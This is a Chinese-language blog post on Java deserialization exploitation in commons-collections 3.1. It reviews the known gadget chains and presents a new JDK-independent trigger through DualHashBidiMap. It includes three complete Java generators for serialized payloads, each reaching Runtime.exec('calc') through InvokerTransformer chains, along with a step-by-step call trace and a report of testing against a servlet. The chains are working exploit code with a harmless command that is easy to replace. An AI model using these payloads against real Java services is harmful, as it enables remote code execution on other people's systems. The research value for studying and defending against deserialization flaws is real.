一、前言:
總感覺年紀大了,腦子不好使,看過的東西很容易就忘了,最近兩天又重新看了下java反序列化漏洞利用鏈相關技術,並嘗試尋找新的利用鏈,最後找到commons-collections中的類DualHashBidiMap能夠觸發利用鏈,不依賴於JDK,然後對比了ysoserial程式碼,暫未發現使用DualHashBidiMap類的觸發的方式,遂記之。
二、環境準備JDK1.8
IDEA
commons-collections-3.1.jar
這裡IDEA需要更改下除錯情況下的配置,最好將劃圈的兩個標識去掉。這裡在漏洞跟蹤除錯時可能會出現大坑。
Idea debug模式下
Enable alternative選項,idea會修改Collections物件結構
Enable toString選項,idea會自動呼叫 java類重寫的toString() 函式
這兩個選項在除錯模式下可能會嚴重影響程式碼的執行流程。
我自己在跟蹤TiedMapEntry程式碼時就遇到這個問題,TiedMapEntry類重寫了toString()函式,我們的利用鏈都是Collections相關的物件,所以在除錯時程式碼流程始終沒有按照預期的執行,非除錯模式下又都正常,後來發現了除錯模式下的這兩個選項影響了程式流程。
二、歷史利用鏈簡單回顧Java反序列化利用技術,總感覺長時間不看就記不清了,於是就重新回顧了下最基本的利用方式,分析跟蹤了ChainedTransformer和InvokerTransformer流程,又看了兩個觸發readObject函式的類AnnotationInvocationHandler和BadAttributeValueExpException,大概對反序列化過程又有了個清晰的認識。這方面網上分析的文章已經很多了,具體過程不再贅述,下面僅貼下簡單的利用程式碼,以供參考
public static void generatePayload1() throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innermap = new HashMap(); innermap.put("value", "value"); Map payloadMap = TransformedMap.decorate(innermap, null, transformerChain); //在反序列化時,利用AnnotationInvocationHandler類的readObject觸發 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor m_ctor = cls.getDeclaredConstructor(Class.class, Map.class); m_ctor.setAccessible(true); Object payload_instance = m_ctor.newInstance(Retention.class, payloadMap); MySerializeUtil.serializeToFile(payload_instance, "CommonsCollections1Test1.ser");}
public static void generatePayload2() throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) }; //使用ChainedTransformer組合利用鏈 Transformer transformerChain = new ChainedTransformer(transformers); Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "haha"); BadAttributeValueExpException payload_exception = new BadAttributeValueExpException(null); Field valField = payload_exception.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(payload_exception, entry); MySerializeUtil.serializeToFile(payload_exception, "CommonsCollections1Test2.ser");}
三、新利用鏈挖掘與其說是新利用鏈的挖掘,不如說新的觸發點的尋找,上面兩個利用鏈的漏洞觸發類分別是JDK中的AnnotationInvocationHandler和BadAttributeValueExpException,在分析完上面兩中利用鏈流程後,為了檢驗自己的認識水平,就想嘗試自己尋找一個觸發點。
尋找觸發點唯一原則就是尋找一個實現了readObject()函式的類,並且在readObject()函式中執行了一定的操作。按照這個思路,先在idea中全域性搜尋readObject()函式
本來我只想找個觸發點,並沒想一定找個與JDK無關的,我先在依賴庫中查詢(如果找不到再到JDK中找),簡單的過一遍找到的readObject函式,當看到org.apache.commons.collections.bidimap.DualHashBidiMap的readObject()函式時,感覺有可能達到觸發利用鏈效果,程式碼如下
readObject中有多餘的操作putAll(map)其程式碼如下
這裡我們看到map進行了get(key)和get(value)操作。如果你之前分析過LazyMap的觸發流程,我們就知道LazyMap.get(key)函式會觸發ChainedTransformer和InvokerTransformer這個執行鏈,最後達到任意程式碼執行,LazyMap.get(key)程式碼如下。
看到這裡,就感覺DualHashBidiMap類有戲,很有可能觸發漏洞。於是簡單的分析下該類的結構。
writeObject()函式實現了了將maps[0]序列化,與readObject()中的Map map = (Map) in.readObject();剛好對應,剩下的就是如何控制maps[0]的值,
public abstract class AbstractDualBidiMap implements BidiMap { protected transient final Map[] maps = new Map[2];... protected AbstractDualBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) { super(); maps[0] = normalMap; maps[1] = reverseMap; this.inverseBidiMap = inverseBidiMap; }...}
分析可知DualHashBidiMap的父類AbstractDualBidiMap中定義了maps變數,並且呼叫函式AbstractDualBidiMap()進行賦值。所有我們可以透過
protected DualHashBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) { super(normalMap, reverseMap, inverseBidiMap);}
函式對maps進行賦值。
由與該函式是protected型別,所以需要使用反射機制。編寫測試程式碼
public static void generatePayload3() throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) }; //使用ChainedTransformer組合利用鏈 Transformer transformerChain = new ChainedTransformer(transformers); Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "haha"); Map<String, Object> payload_map = new HashMap<String, Object>(); payload_map.put("test", entry); Class cls = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap"); Constructor m_ctor = cls.getDeclaredConstructor(Map.class, Map.class, BidiMap.class); m_ctor.setAccessible(true); Object payload_instance = m_ctor.newInstance(payload_map, null, null); FileOutputStream fileOutputStream = new FileOutputStream("payload_dualHashBidMap1.ser"); ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream); outputStream.writeObject(payload_instance); outputStream.close();}
編寫簡單的Servlet進行測試
使用burpsuit傳送,成功彈出計算器。
四、跟蹤除錯程式執行到putAll(map),此時map的值已經是我們構造的HashMap,並有value值LazyMap。
單步執行,觀察變數的變化,程式執行玩maps[1].containsKey(value)之後彈出了計算器,與我們預測的有點不一樣。重新執行程式,跟進containsKey(value)觀察原因。
HaskMap的containsKey()函式如下,
public boolean containsKey(Object key) { return getNode(hash(key), key) != null;}
其中hash(key)程式碼如下:
此時執行key.hashcode(),即執行TiedMapEntry.hashCode()
最後執行InvokerTransformer鏈,雖然與開始預測的有點不一樣,但最終從另外一條路觸發了關鍵函式。
整個漏洞觸發的過程如下:
DualHashBidiMap->readObject()
DualHashBidiMap->putAll()
DualHashBidiMap->put()
HashMap->containsKey()
HashMap->hash()
TiedMapEntry->hashCode()
TiedMapEntry->getValue()
LazyMap->get()
ChainedTransformer->transform()
InvokerTransformer->transform()
由於整個過程觸發readObject的類是在commons-collections庫中的,後面執行程式碼的利用鏈也是在commons-collections中,所有整個利用鏈與jdk版本無關,只與commons-collections版本有關。
五、結束在全域性搜尋readObject時,發現commons-collections中還有個類DualTreeBidiMap,和我們這裡使用的DualHashBidiMap類幾乎一樣,猜測也能達到該效果,有興趣的可以試下。